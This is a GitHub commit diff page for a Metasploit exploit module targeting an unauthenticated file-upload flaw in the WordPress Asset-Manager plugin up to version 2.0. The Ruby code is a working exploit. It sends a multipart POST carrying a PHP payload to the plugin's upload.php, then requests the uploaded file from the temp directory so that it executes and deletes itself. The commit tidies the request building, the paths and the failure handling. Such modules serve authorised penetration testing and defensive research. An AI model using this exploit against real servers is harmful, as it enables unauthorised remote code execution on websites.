Skip to content

Commit 5b8492f

Browse files
author
jvazquez-r7
committed
module cleanup by juan
1 parent ac6f34d commit 5b8492f

File tree

1 file changed

+31
-40
lines changed

1 file changed

+31
-40
lines changed

modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb

Lines changed: 31 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
require 'msf/core/exploit/php_exe'
1010

1111
class Metasploit3 < Msf::Exploit::Remote
12-
Rank = GreatRanking
12+
Rank = ExcellentRanking
1313

1414
include Msf::Exploit::Remote::HttpClient
1515
include Msf::Exploit::PhpEXE
@@ -18,83 +18,74 @@ def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
2020
'Description' => %q{
21-
This module exploits a vulnerability found in Asset-Manager <= 2.0
22-
WordPress plugin. By abusing the upload.php file, a malicious
23-
user can upload a file to a temp directory without authentication,
24-
which results in arbitrary code execution.
21+
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
22+
plugin. By abusing the upload.php file, a malicious user can upload a file to a
23+
temp directory without authentication, which results in arbitrary code execution.
2524
},
26-
'Author' => [
27-
'Sammy FORGIT', # initial discovery
28-
'James Fitts' # metasploit module
29-
],
25+
'Author' =>
26+
[
27+
'Sammy FORGIT', # initial discovery
28+
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
29+
],
3030
'License' => MSF_LICENSE,
31-
'Version' => '$Revision: $',
3231
'References' =>
3332
[
3433
[ 'OSVDB', '82653' ],
35-
[ 'BID','53809' ]
34+
[ 'BID', '53809' ],
35+
[ 'EDB', '18993' ],
36+
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
3637
],
37-
'Payload' =>
38+
'Payload' =>
3839
{
3940
'BadChars' => "\x00",
4041
},
4142
'Platform' => 'php',
42-
'Arch' => ARCH_PHP,
43+
'Arch' => ARCH_PHP,
4344
'Targets' =>
4445
[
4546
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
46-
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
47+
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
4748
],
4849
'DefaultTarget' => 0,
49-
'DisclosureDate' => 'Jan 23 2012'))
50+
'DisclosureDate' => 'May 26 2012'))
5051

5152
register_options(
5253
[
53-
OptString.new('TARGETURI', [true, 'The base path to Asset Manager', '/wordpress/wp-content'])
54+
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
5455
], self.class)
5556
end
5657

5758
def exploit
5859
uri = target_uri.path
5960
uri << '/' if uri[-1,1] != '/'
60-
6161
peer = "#{rhost}:#{rport}"
62-
uid = rand_text_alphanumeric(34).to_s
63-
64-
@payload_name = "#{rand_text_alpha(5)}.php"
62+
payload_name = "#{rand_text_alpha(5)}.php"
63+
php_payload = get_write_exec_payload(:unlink_self=>true)
6564

66-
post_data = "--#{uid}\r\n"
67-
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
68-
post_data << "Content-Type: application/octet-stream\r\n"
69-
post_data << "\r\n"
70-
post_data << payload.raw + "\r\n"
71-
post_data << "\r\n"
72-
post_data << "--#{uid}--\r\n"
65+
data = Rex::MIME::Message.new
66+
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
67+
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
7368

74-
print_status("Uploading payload #{@payload_name} to #{peer}...")
69+
print_status("#{peer} - Uploading payload #{payload_name}")
7570
res = send_request_cgi({
7671
'method' => 'POST',
77-
'uri' => "#{uri}plugins/asset-manager/upload.php",
78-
'ctype' => "multipart/form-data; boundary=#{uid}",
72+
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
73+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
7974
'data' => post_data
8075
})
8176

82-
if res
83-
print_status("#{peer} responds with status: #{res.code.to_s}")
84-
else
85-
print_error("#{peer} not responding to our requests...")
86-
return
77+
if not res or res.code != 200 or res.body !~ /#{payload_name}/
78+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
8779
end
8880

89-
print_status("Executing payload #{@payload_name} on the target...")
81+
print_status("#{peer} - Executing payload #{payload_name}")
9082
res = send_request_raw({
91-
'uri' => "#{uri}uploads/assets/temp/#{@payload_name}",
83+
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
9284
'method' => 'GET'
9385
})
9486

95-
if res and res.code == 404
96-
print_error("Target responding with a 404... Upload probably failed...")
97-
return
87+
if res and res.code != 200
88+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
9889
end
9990
end
10091
end

0 commit comments

Comments
 (0)